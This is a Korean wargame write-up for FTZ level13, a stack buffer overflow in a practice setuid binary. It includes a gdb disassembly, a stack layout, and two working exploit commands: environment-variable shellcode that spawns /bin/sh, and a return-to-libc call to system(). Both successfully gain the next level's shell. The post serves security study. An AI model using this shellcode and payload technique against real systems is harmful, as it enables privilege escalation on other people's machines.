FTZ level13

c0wb3ll ㅣ 2020. 3. 10. 23:59

FTZ level 13

문제

#include <stdlib.h> 

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   setreuid( 3094, 3094 );
   if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}

level13의 소스코드이다. 여기서 취약한 점을 찾아 상위권한 (level14)의 권한을 획득해야 한다.


취약점

#include <stdlib.h> 

main(int argc, char *argv[])
{
   long i=0x1234567;
   char buf[1024];

   #setreuid( 3094, 3094 );
   #if(argc > 1)
   strcpy(buf,argv[1]);

   if(i != 0x1234567) {
   #printf(" Warnning: Buffer Overflow !!! \n");
   kill(0,11);
   }
}
  1. buf의 크기는 1024이다.
  2. strcpy()함수를 이용하여 argv에서 받은 인자를 buf에 옮겨간다.
  3. argv의 인자 크기에 제한은 없다.
  4. 따라서 argv에 1024byte 이상의 문자열을 입력하면 buf를 넘어 메모리를 덮어씌울 수 있다.

여기까지는 똑같으나, level13에서는 전과 다르게 메모리가 덮어씌워졌는지 안씌워졌는지 검증하는 부분이 있다.

  1. i = 0x1234567 이다.
  2. i 가 0x123456 이 아니라면 프로그램을 종료시킨다.

따라서 이 부분을 주의해서 버퍼오버플로우를 발생시켜야 한다.


풀이 ( 환경변수 )

(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>:    push   ebp
0x080484a1 <main+1>:    mov    ebp,esp
0x080484a3 <main+3>:    sub    esp,0x418
0x080484a9 <main+9>:    mov    DWORD PTR [ebp-12],0x1234567
0x080484b0 <main+16>:    sub    esp,0x8
0x080484b3 <main+19>:    push   0xc16
0x080484b8 <main+24>:    push   0xc16
0x080484bd <main+29>:    call   0x8048370 <setreuid>
0x080484c2 <main+34>:    add    esp,0x10
0x080484c5 <main+37>:    cmp    DWORD PTR [ebp+8],0x1
0x080484c9 <main+41>:    jle    0x80484e5 <main+69>
0x080484cb <main+43>:    sub    esp,0x8
0x080484ce <main+46>:    mov    eax,DWORD PTR [ebp+12]
0x080484d1 <main+49>:    add    eax,0x4
0x080484d4 <main+52>:    push   DWORD PTR [eax]
0x080484d6 <main+54>:    lea    eax,[ebp-1048]
0x080484dc <main+60>:    push   eax
0x080484dd <main+61>:    call   0x8048390 <strcpy>
0x080484e2 <main+66>:    add    esp,0x10
0x080484e5 <main+69>:    cmp    DWORD PTR [ebp-12],0x1234567
0x080484ec <main+76>:    je     0x804850d <main+109>
0x080484ee <main+78>:    sub    esp,0xc
0x080484f1 <main+81>:    push   0x80485a0
0x080484f6 <main+86>:    call   0x8048360 <printf>
0x080484fb <main+91>:    add    esp,0x10
0x080484fe <main+94>:    sub    esp,0x8
0x08048501 <main+97>:    push   0xb
0x08048503 <main+99>:    push   0x0
0x08048505 <main+101>:    call   0x8048380 <kill>
0x0804850a <main+106>:    add    esp,0x10
0x0804850d <main+109>:    leave  
0x0804850e <main+110>:    ret    
0x0804850f <main+111>:    nop    
End of assembler dump.
(gdb) 

attackme에 main 부분이다.

  1. ebp-1048 에서 복사를 한다.
  2. ebp-12에서 0x1234567과 비교를 한다.

우리가 볼 부분은 이 정도인 것 같다. 간단하게 그림으로 나타내 보겠다.

image

메모리 상태를 그림으로 나타내보았다. 이것을 보면 익스코드를 어떻게 짜야하는지 감이 올 것이다.

익스코드

str[1024] + dummy[12] + 0x1234567 + dummy[8] + sfp[4] + ret[&shellcode] 로 짜면 될 것 같다.

[level13@ftz level13]$ export env=$(python -c "print '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'")

환경변수 등록 ( 환경변수 주소 = 0xbfffff57 )

[level13@ftz level13]$ ./attackme `python -c "print 'A'*1036 + '\x67\x45\x23\x01' + 'A'*12 + '\x57\xff\xff\xbf'"`
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ 

성공적으로 level14의 권한을 획득 했다.


풀이 ( RTL )

[level13@ftz level13]$ ./attackme `python -c "print 'A'*1036 + '\x67\x45\x23\x01' + 'A'*12 + '\xc0\xf2\x03\x42' + 'AAAA' + '\x52\xfe\xff\xbf'"`
$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
$ 

똑같은데 ret값을 system()함수의 위치로 바꾸고 return 값에 더미바이트를 채워준 뒤 환경 변수로 올려둔 /bin/bash 문자열의 주소를 구해 적어주면 된다.